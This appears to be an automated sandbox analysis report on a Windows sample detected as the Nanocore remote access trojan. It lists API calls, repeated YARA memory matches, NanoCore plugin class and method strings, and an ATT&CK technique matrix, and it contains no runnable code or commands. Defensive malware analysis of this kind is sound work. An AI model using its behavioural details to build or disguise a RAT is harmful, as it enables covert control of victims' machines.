Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe

Code function: 0_2_0136CBB8 GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,DeleteObject,CloseHandle,

0_2_0136CBB8

Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif

Code function: 1_2_00EFE284 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

1_2_00EFE284

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe

Code function: 0_2_0135A995 GetVersionExW,

0_2_0135A995

Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected Nanocore RAT

Show sources

Source: Yara match	File source: 0000000B.00000003.708352984.000000000474B000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.729421320.0000000000D02000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.708271591.0000000004718000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.677255613.000000000423F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.677318458.0000000004272000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.679566684.00000000041A1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.679501436.00000000041D5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.923227276.00000000028C1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.710662958.0000000004646000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.732406620.0000000004439000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.710938676.0000000004611000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.707826555.00000000046AF000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.710381105.000000000467A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.679383356.000000000420A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.678729204.0000000004155000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.927044565.00000000060B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.676679410.00000000041D5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.707511293.000000000467A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.709101376.00000000039C8000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.677221211.000000000420A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.677158257.000000000420A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.676738123.0000000004155000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.707372891.00000000046AF000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.676806998.00000000041A1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.710427838.00000000046E2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.707926521.00000000046E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.710514323.00000000046E2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.676882345.0000000004121000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.707412308.0000000004611000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.709214730.00000000039A5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.707670444.0000000004646000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.707301176.0000000004646000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.710256620.00000000046AF000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.922381074.0000000000502000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.679249376.0000000004121000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.924061373.0000000003909000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.708173598.00000000046E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.677081542.0000000004155000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.732316965.0000000003431000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: nfiuc.pif PID: 984, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 4876, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5660, type: MEMORY
Source: Yara match	File source: Process Memory Space: nfiuc.pif PID: 1380, type: MEMORY
Source: Yara match	File source: 1.3.nfiuc.pif.4272830.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.391560b.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.4679e70.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.391b041.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.nfiuc.pif.4272830.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.474baa0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegSvcs.exe.448560b.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.60b0000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegSvcs.exe.448b041.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.474baa0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegSvcs.exe.44807ce.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.46e2a90.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.nfiuc.pif.4272830.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.474baa0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.nfiuc.pif.4272830.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.4679e70.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegSvcs.exe.448b041.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.60b4629.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.4645668.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.60b0000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.500000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.nfiuc.pif.41d4c00.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegSvcs.exe.d00000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.391b041.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.39107ce.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.46ae678.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.46e2a90.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.46e2a90.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.474baa0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.46e2a90.4.raw.unpack, type: UNPACKEDPE

Remote Access Functionality:

Detected Nanocore Rat

Show sources

Source: nfiuc.pif, 00000001.00000003.677318458.0000000004272000.00000004.00000001.sdmp	String found in binary or memory: NanoCore.ClientPluginHost
Source: RegSvcs.exe, 00000002.00000002.923227276.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: NanoCore.ClientPluginHost
Source: RegSvcs.exe, 00000002.00000002.923227276.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoCore.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1IClientNetworkNanoCore.ClientPluginIClientDataIClientAppIClientDataHostNanoCore.ClientPluginHostIClientNetworkHostIClientUIHostIClientLoggingHostIClientAppHostIClientNameObjectCollectionNanoCoreIClientReadOnlyNameObjectCollectionClientInvokeDelegateMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceReadPacketpipeNameparamsPipeCreatedPipeClosedConnectionStateChangedconnectedConnectionFailedhostportBuildingHostCacheVariableChangednameClientSettingChangedPluginUninstallingClientUninstallingget_Variablesget_ClientSettingsget_BuilderSettingsVariablesClientSettingsBuilderSettingsget_ConnectedClosePipePipeExistsRebuildHostCacheAddHostEntryDisconnectSendToServercompressConnectedInvokemethodstateLogClientMessagemessageExceptionLogClientExceptionexsiteRestartShutdownDisableProtectionRestoreProtectionUninstallEntryExistsSystem.Collections.GenericKeyValuePair`2GetEntriesGetValuedefaultValueSetValuevalueRemoveValueMulticastDelegateTargetObjectTargetMethodIAsyncResultAsyncCallbackBeginInvokeDelegateCallbackDelegateAsyncStateEndInvokeDelegateAsyncResultSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeParamArrayAttributeCompilationRelaxationsAttributeRuntimeCompatibilityAttributeSystem.ReflectionAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeClientPluginClientPlugin.dll
Source: RegSvcs.exe, 00000002.00000002.923227276.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoProtectClient.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1ClientMainNanoProtectClientClientPluginResourcesNanoProtectClient.My.ResourcesMySettingsMySettingsPropertyFunctionsNanoProtectClient.NanoProtectMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceNanoCore.ClientPluginHostIClientLoggingHostLoggingHostInitializePluginNanoCore.ClientPluginIClientNetwork_loggingHostBuildingHostCacheConnectionFailedhostportConnectionStateChangedconnectedPipeClosedpipeNamePipeCreatedReadPacketparamsSystem.ResourcesResourceManagerresourceManSystem.GlobalizationCultureInforesourceCultureget_ResourceManagerget_Cultureset_CulturevalueCultureSystem.ConfigurationApplicationSettingsBasedefaultInstanceget_DefaultDefaultget_SettingsSettingsGetProtectDirectoryGetProtectFileCreateProtectFileKillNanoCoreSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerNonUserCodeAttributeDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeLogClientMessageSystem.IOFileExistsReferenceEqualsSystem.ReflectionAssemblyget_AssemblyCompilerGeneratedAttributeSettingsBaseSynchronizedEnvironmentSpecialFolderGetFolderPathPathCombineExceptionDirectoryDirectoryInfoCreateDirectoryFileStreamCreateProjectDataSetProjectErrorClearProjectErrorProcessGetCurrentProcessKillNanoProtectClient.Resources.resourcesDebuggableAttributeDebuggingModesCompilationRelaxationsAttributeRuntimeCompatibilityAttributeAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeNanoProtectClient.dlla[NanoProtect]: Checking for NanoProtect module..
Source: nfiuc.pif, 0000000B.00000003.708271591.0000000004718000.00000004.00000001.sdmp	String found in binary or memory: NanoCore.ClientPluginHost
Source: RegSvcs.exe, 0000000C.00000002.729421320.0000000000D02000.00000040.00000001.sdmp	String found in binary or memory: NanoCore.ClientPluginHost
Source: RegSvcs.exe, 0000000C.00000002.732406620.0000000004439000.00000004.00000001.sdmp	String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoCore.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1IClientNetworkNanoCore.ClientPluginIClientDataIClientAppIClientDataHostNanoCore.ClientPluginHostIClientNetworkHostIClientUIHostIClientLoggingHostIClientAppHostIClientNameObjectCollectionNanoCoreIClientReadOnlyNameObjectCollectionClientInvokeDelegateMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceReadPacketpipeNameparamsPipeCreatedPipeClosedConnectionStateChangedconnectedConnectionFailedhostportBuildingHostCacheVariableChangednameClientSettingChangedPluginUninstallingClientUninstallingget_Variablesget_ClientSettingsget_BuilderSettingsVariablesClientSettingsBuilderSettingsget_ConnectedClosePipePipeExistsRebuildHostCacheAddHostEntryDisconnectSendToServercompressConnectedInvokemethodstateLogClientMessagemessageExceptionLogClientExceptionexsiteRestartShutdownDisableProtectionRestoreProtectionUninstallEntryExistsSystem.Collections.GenericKeyValuePair`2GetEntriesGetValuedefaultValueSetValuevalueRemoveValueMulticastDelegateTargetObjectTargetMethodIAsyncResultAsyncCallbackBeginInvokeDelegateCallbackDelegateAsyncStateEndInvokeDelegateAsyncResultSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeParamArrayAttributeCompilationRelaxationsAttributeRuntimeCompatibilityAttributeSystem.ReflectionAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeClientPluginClientPlugin.dll
Source: RegSvcs.exe, 0000000C.00000002.732406620.0000000004439000.00000004.00000001.sdmp	String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoProtectClient.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1ClientMainNanoProtectClientClientPluginResourcesNanoProtectClient.My.ResourcesMySettingsMySettingsPropertyFunctionsNanoProtectClient.NanoProtectMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceNanoCore.ClientPluginHostIClientLoggingHostLoggingHostInitializePluginNanoCore.ClientPluginIClientNetwork_loggingHostBuildingHostCacheConnectionFailedhostportConnectionStateChangedconnectedPipeClosedpipeNamePipeCreatedReadPacketparamsSystem.ResourcesResourceManagerresourceManSystem.GlobalizationCultureInforesourceCultureget_ResourceManagerget_Cultureset_CulturevalueCultureSystem.ConfigurationApplicationSettingsBasedefaultInstanceget_DefaultDefaultget_SettingsSettingsGetProtectDirectoryGetProtectFileCreateProtectFileKillNanoCoreSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerNonUserCodeAttributeDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeLogClientMessageSystem.IOFileExistsReferenceEqualsSystem.ReflectionAssemblyget_AssemblyCompilerGeneratedAttributeSettingsBaseSynchronizedEnvironmentSpecialFolderGetFolderPathPathCombineExceptionDirectoryDirectoryInfoCreateDirectoryFileStreamCreateProjectDataSetProjectErrorClearProjectErrorProcessGetCurrentProcessKillNanoProtectClient.Resources.resourcesDebuggableAttributeDebuggingModesCompilationRelaxationsAttributeRuntimeCompatibilityAttributeAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeNanoProtectClient.dlla[NanoProtect]: Checking for NanoProtect module..

Yara detected Nanocore RAT

Show sources

Source: Yara match	File source: 0000000B.00000003.708352984.000000000474B000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.729421320.0000000000D02000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.708271591.0000000004718000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.677255613.000000000423F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.677318458.0000000004272000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.679566684.00000000041A1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.679501436.00000000041D5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.923227276.00000000028C1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.710662958.0000000004646000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.732406620.0000000004439000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.710938676.0000000004611000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.707826555.00000000046AF000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.710381105.000000000467A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.679383356.000000000420A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.678729204.0000000004155000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.927044565.00000000060B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.676679410.00000000041D5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.707511293.000000000467A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.709101376.00000000039C8000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.677221211.000000000420A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.677158257.000000000420A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.676738123.0000000004155000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.707372891.00000000046AF000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.676806998.00000000041A1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.710427838.00000000046E2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.707926521.00000000046E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.710514323.00000000046E2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.676882345.0000000004121000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.707412308.0000000004611000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.709214730.00000000039A5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.707670444.0000000004646000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.707301176.0000000004646000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.710256620.00000000046AF000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.922381074.0000000000502000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.679249376.0000000004121000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.924061373.0000000003909000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.708173598.00000000046E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.677081542.0000000004155000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.732316965.0000000003431000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: nfiuc.pif PID: 984, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 4876, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5660, type: MEMORY
Source: Yara match	File source: Process Memory Space: nfiuc.pif PID: 1380, type: MEMORY
Source: Yara match	File source: 1.3.nfiuc.pif.4272830.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.391560b.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.4679e70.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.391b041.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.nfiuc.pif.4272830.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.474baa0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegSvcs.exe.448560b.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.60b0000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegSvcs.exe.448b041.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.474baa0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegSvcs.exe.44807ce.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.46e2a90.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.nfiuc.pif.4272830.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.474baa0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.nfiuc.pif.4272830.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.4679e70.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegSvcs.exe.448b041.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.60b4629.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.4645668.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.60b0000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.500000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.nfiuc.pif.41d4c00.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegSvcs.exe.d00000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.391b041.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.39107ce.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.46ae678.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.46e2a90.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.46e2a90.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.474baa0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.nfiuc.pif.46e2a90.4.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting11	DLL Side-Loading1	Exploitation for Privilege Escalation1	Disable or Modify Tools1	Input Capture11	System Time Discovery2	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Scheduled Task/Job1	DLL Side-Loading1	Deobfuscate/Decode Files or Information11	LSASS Memory	File and Directory Discovery2	Remote Desktop Protocol	Input Capture11	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Command and Scripting Interpreter2	Logon Script (Windows)	Process Injection312	Scripting11	Security Account Manager	System Information Discovery35	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Remote Access Software1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Scheduled Task/Job1	Logon Script (Mac)	Scheduled Task/Job1	Obfuscated Files or Information2	NTDS	Query Registry1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol1	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing12	LSA Secrets	Security Software Discovery131	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol21	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	DLL Side-Loading1	Cached Domain Credentials	Virtualization/Sandbox Evasion31	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Masquerading12	DCSync	Process Discovery2	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
